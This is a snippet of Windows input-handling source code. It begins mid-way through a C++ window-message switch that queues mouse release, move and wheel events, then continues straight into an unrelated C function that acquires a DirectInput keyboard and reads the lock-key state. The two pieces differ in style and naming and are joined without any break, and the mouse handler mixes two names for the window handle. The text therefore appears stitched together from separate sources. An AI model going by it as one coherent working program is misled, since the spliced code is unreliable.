mouseInput.setType(MouseInput::Released);
mouseInput.setTimeStamp(GetTickCount());
mMouseInputQueue.push(mouseInput);
mMouseDown = false;
ReleaseCapture();
break;
}
case WM_MOUSEMOVE:
{
int x = (int)((signed short)(LOWORD(lParam)));
int y = (int)((signed short)(HIWORD(lParam)));
/*
POINT point = {x,y};
ScreenToClient(hWnd, &point);
RECT rect;
GetClientRect(hWnd, &rect);*/
/*
if (!mMouseDown
&& mMouseInWindow
&& (point.x < 0
|| point.y < 0
|| point.x > rect.right
|| point.y > rect.bottom))
{
mouseInput.setX(-1);
mouseInput.setY(-1);
mouseInput.setButton(MouseInput::Empty);
mouseInput.setType(MouseInput::Moved);
mouseInput.setTimeStamp(GetTickCount());
mMouseInputQueue.push(mouseInput);
mMouseInWindow = false;
}
else if (mMouseDown
|| (point.x >= 0
&& point.y >= 0
&& point.x < rect.right
&& point.y < rect.bottom))
{
mouseInput.setX(point.x);
mouseInput.setY(point.y);
mouseInput.setButton(MouseInput::Empty);
mouseInput.setType(MouseInput::Moved);
mouseInput.setTimeStamp(GetTickCount());
mMouseInputQueue.push(mouseInput);
}
mMouseInWindow = point.x >= 0
&& point.y >= 0
&& point.x < rect.right
&& point.y < rect.bottom;
*/
mouseInput.setX(x);
mouseInput.setY(y);
mouseInput.setButton(MouseInput::Empty);
mouseInput.setType(MouseInput::Moved);
mouseInput.setTimeStamp(GetTickCount());
mMouseInputQueue.push(mouseInput);
break;
}
// For some reason WM_MOUSEWHEEL isn't defined at some systems
// (including mine), but 0x020A should be equal to the WM_MOUSEWHEEL
// value.
case 0x020A: // WM_MOUSEWHEEL
int mouseZ = (short)HIWORD(wParam);
int x = (int)((signed short)(LOWORD(lParam)));
int y = (int)((signed short)(HIWORD(lParam)));
POINT point = {x,y};
ScreenToClient(window, &point);
RECT rect;
GetClientRect(window, &rect);
if (point.x < 0
|| point.y < 0
|| point.x > rect.right
|| point.y > rect.bottom)
{
break;
}
// Mouse wheels doesn't have to move 120 units anymore, new
// mouses can move less than 120, therefore we need to check
// that the mouse has at least moved 120 units before we push
// an input event.
if (mLastMouseZ + mouseZ >= 120)
{
mMouseInputQueue.push(MouseInput(MouseInput::Empty,
MouseInput::WheelMovedUp,
point.x,
point.y,
GetTickCount()));
mLastMouseZ = 0;
}
else if (mLastMouseZ + mouseZ <= -120)
{
mMouseInputQueue.push(MouseInput(MouseInput::Empty,
MouseInput::WheelMovedDown,
point.x,
point.y,
GetTickCount()));
mLastMouseZ = 0;
}
else
{
mLastMouseZ += mouseZ;
}
break;
} // end switch
}
/* key_dinput_acquire: [window thread]
* Acquires the keyboard device. This must be called after a
* window switch for example if the device is in foreground
* cooperative level.
*/
int key_dinput_acquire(void)
{
HRESULT hr;
int mask, state;
char key_state[256];
if (key_dinput_device) {
mask = KB_SCROLOCK_FLAG | KB_NUMLOCK_FLAG | KB_CAPSLOCK_FLAG;
state = 0;
/* Read the current Windows keyboard state */
GetKeyboardState(key_state);
if (key_state[VK_SCROLL] & 1)
state |= KB_SCROLOCK_FLAG;
if (key_state[VK_NUMLOCK] & 1)
state |= KB_NUMLOCK_FLAG;
if (key_state[VK_CAPITAL] & 1)
state |= KB_CAPSLOCK_FLAG;
_key_shifts = (_key_shifts & ~mask) | (state & mask);
hr = IDirectInputDevice_Acquire(key_dinput_device);
if (FAILED(hr)) {
_TRACE(PREFIX_E "acquire keyboard failed: %s\n", dinput_err_str(hr));
return -1;
}
/* Initialize keyboard state */
SetEvent(key_input_event);
return 0;
}
else
return -1;
}
